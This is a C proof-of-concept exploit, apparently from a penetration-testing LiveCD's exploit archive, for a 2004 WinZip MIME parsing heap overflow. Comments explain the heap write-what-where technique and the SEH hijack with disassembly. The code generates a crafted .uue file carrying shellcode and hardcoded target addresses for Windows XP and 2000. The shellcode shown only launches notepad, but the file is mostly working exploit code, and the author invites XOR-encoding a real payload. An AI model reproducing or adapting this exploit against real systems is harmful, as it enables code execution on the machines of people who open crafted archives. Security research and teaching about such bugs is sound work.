home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / packer / winzip / winZipMIMEArchiveBufferOverflowExp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  6KB  |  276 lines

  1.  
  2.  
  3. /*
  4.  *  Author: snooq       
  5.  *  Date: 14 April 2004  
  6.  *
  7.  *  This is a PoC exploit for WinZip32 MIME Parsing Overflow
  8.  *  bug reported by iDefense on 27 February 2004.
  9.  *
  10.  *  The original advisory is found here:
  11.  *  http://www.idefense.com/application/poi/display?id=76
  12.  *
  13.  *  This version is SP dependent becoz my idiotic shellcode
  14.  *  uses hardcoded addresses.... =p 
  15.  *  
  16.  *  So, test it locally only. Afterall, it's just a PoC rite?
  17.  *  Nonetheless, it's possible to make it more portable by 
  18.  *  using a universal shellcode... 
  19.  *
  20.  *  but beware... chars like <>,.:;'"=[]\/ are filtered...
  21.  *  so feel free to XOR it.. =p
  22.  *
  23.  *  Notes
  24.  *  =====
  25.  *  1) Tested against WinZip 8.1 on WinXP SP1, Win2K SP1 only
  26.  *
  27.  *  2) You need to first launch WinZip before you 'Open'
  28.  *
  29.  *  3) Double clicking the 'uue' won't work 
  30.  *     why so? go figure it out urself... =p 
  31.  *     once u know why... u'd then know how to fix it...
  32.  *
  33.  *  Greetz
  34.  *  ======
  35.  *  # eugene, nam, jf, valmont and the rest..
  36.  *  # sk, shashank + Security_Auditors folks...
  37.  *  # iDefense folks... SiG^2 guys etc...
  38.  *  # lastly.. Greg Hoglund for his 'Cross Page' stuffs... =p
  39.  */
  40.  
  41. /*
  42.  *  A snapshot of the 'crash'
  43.  *  =========================
  44.  *
  45.  *  Our buffer on the heap looks like this:
  46.  *  
  47.  *  [....AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEEEEEEEEEEEEEEE....]
  48.  *  |--- heap grows this way --------->
  49.  *
  50.  *   
  51.  *  and the CPU is about to execute the following code:
  52.  *
  53.  *  0049BFFC  |> 8B4C13 08      MOV ECX,DWORD PTR DS:[EBX+EDX+8]
  54.  *  0049C000  |. 8B7C13 04      MOV EDI,DWORD PTR DS:[EBX+EDX+4]
  55.  *  0049C004  |. 8979 04        MOV DWORD PTR DS:[ECX+4],EDI
  56.  *  0049C007  |. 8B4C13 04      MOV ECX,DWORD PTR DS:[EBX+EDX+4]
  57.  *  0049C00B  |. 8B7C13 08      MOV EDI,DWORD PTR DS:[EBX+EDX+8]
  58.  *  0049C00F  |. 035D F8        ADD EBX,DWORD PTR SS:[EBP-8]
  59.  *  0049C012  |. 8979 08        MOV DWORD PTR DS:[ECX+8],EDI
  60.  *  0049C015  |. 895D F4        MOV DWORD PTR SS:[EBP-C],EBX
  61.  *
  62.  *  and, EBX register seems to be under our control... =p
  63.  *
  64.  *  EDX = ptr to 'DDDD'    
  65.  *  EBX = 'DDDD' - 1        
  66.  *
  67.  *  By carefully choosing a value for EBX, we are able to manipulate
  68.  *  ECX at 0049BFFC and EDI at 0049C000.
  69.  *
  70.  *  If we set 'DDDD'=0xfffffff5 (-11), 
  71.  *  
  72.  *  -> EBX would be '0xfffffff4' (-12)
  73.  *  -> [EBX+EDX+8] becomes [EDX-4] and ECX = 'CCCC'
  74.  *  -> [EBX+EDX+4] becomes [EDX-8] and EDI = 'BBBB'
  75.  *
  76.  *  Effectively at 0049C004, we can write a DWORD 'BBBB' to ['CCCC'+4]
  77.  *  After that.....
  78.  *
  79.  *  -> [EBX+EDX+4] becomes [EDX-8] and ECX = 'BBBB'
  80.  *  -> [EBX+EDX+8] becomes [EDX-4] and EDI = 'CCCC' 
  81.  *  
  82.  *  Finally we reach MOV DWORD PTR DS:['BBBB'+8],'CCCC' at 0049C012..
  83.  *
  84.  *  Choosing the rite values for 'BBBB' + 'CCCC', execution flow could
  85.  *  be reliably diverted into our shellcode.
  86.  *
  87.  *  In this exploit, I've chosen to install our code as the main thread's
  88.  *  top exception handler so that when exception is triggered at 0049C012,
  89.  *  our code will be called to 'handle' it... =p
  90.  *
  91.  *  This is how I did it but I'm not sure if this is the best way.
  92.  *  If you know of any other better way to exploit this.....
  93.  *  pleaseeeeee tell me....... :)
  94.  *
  95.  */
  96.  
  97. #include <windows.h>
  98. #include <stdlib.h>
  99. #include <stdio.h>
  100.  
  101. #define TARGET    1
  102. #define NOP    0x90
  103.  
  104. /*
  105.  * Gap for NOPs (not really needed)
  106.  */
  107. #define PAD    0        
  108.  
  109. /*
  110.  * This 'RANGE' nonsense was useful
  111.  * in locating the 'index', i.e. 'DDDD'
  112.  */
  113. #define RANGE    1*4        
  114.  
  115. /*
  116.  * Where we control the 'index',
  117.  * i.e EBX register's value
  118.  */
  119. #define IDXOFF    268-RANGE+4 
  120.  
  121. /*
  122.  * We find our 'where' + 'what' here...
  123.  */
  124. #define OFFSET    IDXOFF-8    
  125.  
  126. /*
  127.  * -12 bytes from 'index' into where
  128.  * 'where'+'what' are...
  129.  */
  130. #define INDEX    0xfffffff5     
  131.  
  132. #define BSIZE    1024
  133. #define FNAME    "snooq.uue"
  134. #define SSIZE    sizeof(shellcode)-1
  135. #define HSIZE    sizeof(header)-1
  136.  
  137. char buff[BSIZE];
  138. long where, what;
  139.  
  140. struct {
  141.     char *os;
  142.     long topSEH;
  143.     long jmpADD;
  144. }
  145.  
  146. targets[] = {
  147.     {
  148.         "Window XP (en) SP1",
  149.         0x7ffddffe,    // Per Thread Top SEH - 2
  150.         0xf27cffff  // [this address + 4] -> shellcode
  151.     },
  152.     {
  153.         "Window 2000 (en) SP1",
  154.         0x7ffddffe,    // Per Thread Top SEH - 2
  155.         0xf354ffff  // [this address + 4] -> shellcode
  156.     },
  157. }, v;
  158.  
  159. /*
  160.  * Harmless payload that spawns 'notepad.exe'... =p
  161.  */
  162.  
  163. char shellcode[]=
  164.     "\x55"                    // push ebp 
  165.     "\x8b\xec"                // mov ebp, esp
  166.     "\x33\xf6"                // xor esi, esi
  167.     "\x56"                    // push esi
  168.     "\x68\x2e\x65\x78\x65"    // push 'exe.'
  169.     "\x68\x65\x70\x61\x64"    // push 'dape'
  170.     "\x68\x90\x6e\x6f\x74"    // push 'ton'
  171.     "\x46"                    // inc esi        
  172.     "\x56"                    // push esi
  173.     "\x8d\x7d\xf1"            // lea edi, [ebp-0xf]    
  174.     "\x57"                    // push edi        
  175.     "\xb8XXXX"                // mov eax, XXXX -> WinExec()  
  176.     "\xff\xd0"                // call eax
  177.     "\x4e"                    // dec esi
  178.     "\x56"                    // push esi
  179.     "\xb8YYYY"                // mov eax, YYYY -> ExitProcess()  
  180.     "\xff\xd0";                // call eax
  181.  
  182. char header[]="Content-Type: multipart/mixed; boundary=";
  183.  
  184. void err_exit(char *s)
  185. {
  186.     printf("%s\n",s);
  187.     exit(0);
  188. }
  189.  
  190. void filladdr()
  191. {
  192.     char *ptr;
  193.     int i=0, index=INDEX, idxoff=IDXOFF;
  194.  
  195.     long addr1=(long)WinExec;
  196.     long addr2=(long)ExitProcess;
  197.  
  198.     printf("-> WinExec() is at: 0x%08x\n",addr1);
  199.     printf("-> ExitProcess() is at: 0x%08x\n",addr2);
  200.  
  201.     ptr=shellcode;
  202.  
  203.     while (*ptr!='\0') {
  204.         if (*((long *)ptr)==0x58585858) {
  205.             printf("-> Filling in WinExec at offset: %d\n",(ptr-shellcode));
  206.             *((long *)ptr)=addr1;
  207.         }
  208.         if (*((long *)ptr)==0x59595959) {
  209.             printf("-> Filling in ExitProcess at offset: %d\n",(ptr-shellcode));
  210.             *((long *)ptr)=addr2;
  211.         }
  212.         ptr++;
  213.     }
  214.  
  215.     ptr=buff+HSIZE+OFFSET;
  216.     printf("-> 'what' == 0x%08x at offset %d\n",what,OFFSET);
  217.     *((long *)ptr)=what;
  218.  
  219.     ptr+=4;
  220.     printf("-> 'where' == 0x%08x at offset %d\n",where,OFFSET+4);
  221.     *((long *)ptr)=where-4;
  222.  
  223.     ptr=buff+HSIZE+idxoff;
  224.  
  225.     for (;i<RANGE;i+=4) {
  226.         printf("-> 'index' == 0x%08x at offset %d\n",index-i,idxoff+i);
  227.         *((long *)(ptr+i))=index-i;
  228.     }
  229.  
  230. }
  231.  
  232. void buildfile() 
  233. {
  234.     int i=0;
  235.  
  236.     FILE *fd;
  237.  
  238.     if ((fd=fopen(FNAME,"w"))==NULL) {
  239.         err_exit("-> Failed to generate file...");
  240.     }
  241.  
  242.     for(;i<sizeof(buff);) {
  243.         fprintf(fd,"%c",buff[i++]);
  244.     }
  245.  
  246.     fclose(fd);
  247.  
  248.     printf("-> '%s' generated....\n",FNAME);
  249.  
  250. }
  251.  
  252. int main(int argc, char *argv[]) 
  253. {
  254.     int i=0, t=TARGET;
  255.  
  256.     if (argc==2) { t=atoi(argv[1]); }
  257.  
  258.     where=targets[t-1].topSEH;
  259.     what=targets[t-1].jmpADD;
  260.  
  261.     printf("\nWinZip32 MIME Parsing Overflow PoC, By Snooq [jinyean@hotmail.com]\n\n");
  262.  
  263.     memset(buff,NOP,BSIZE);
  264.     printf("-> Generating 'uue' file for target #%d...\n",t);
  265.     memcpy(buff,header,HSIZE);
  266.     filladdr();
  267.     memcpy(buff+HSIZE+IDXOFF+4+PAD,shellcode,SSIZE);
  268.     buildfile();
  269.  
  270.     return 0;
  271.  
  272. }
  273.  
  274.  
  275.  
  276.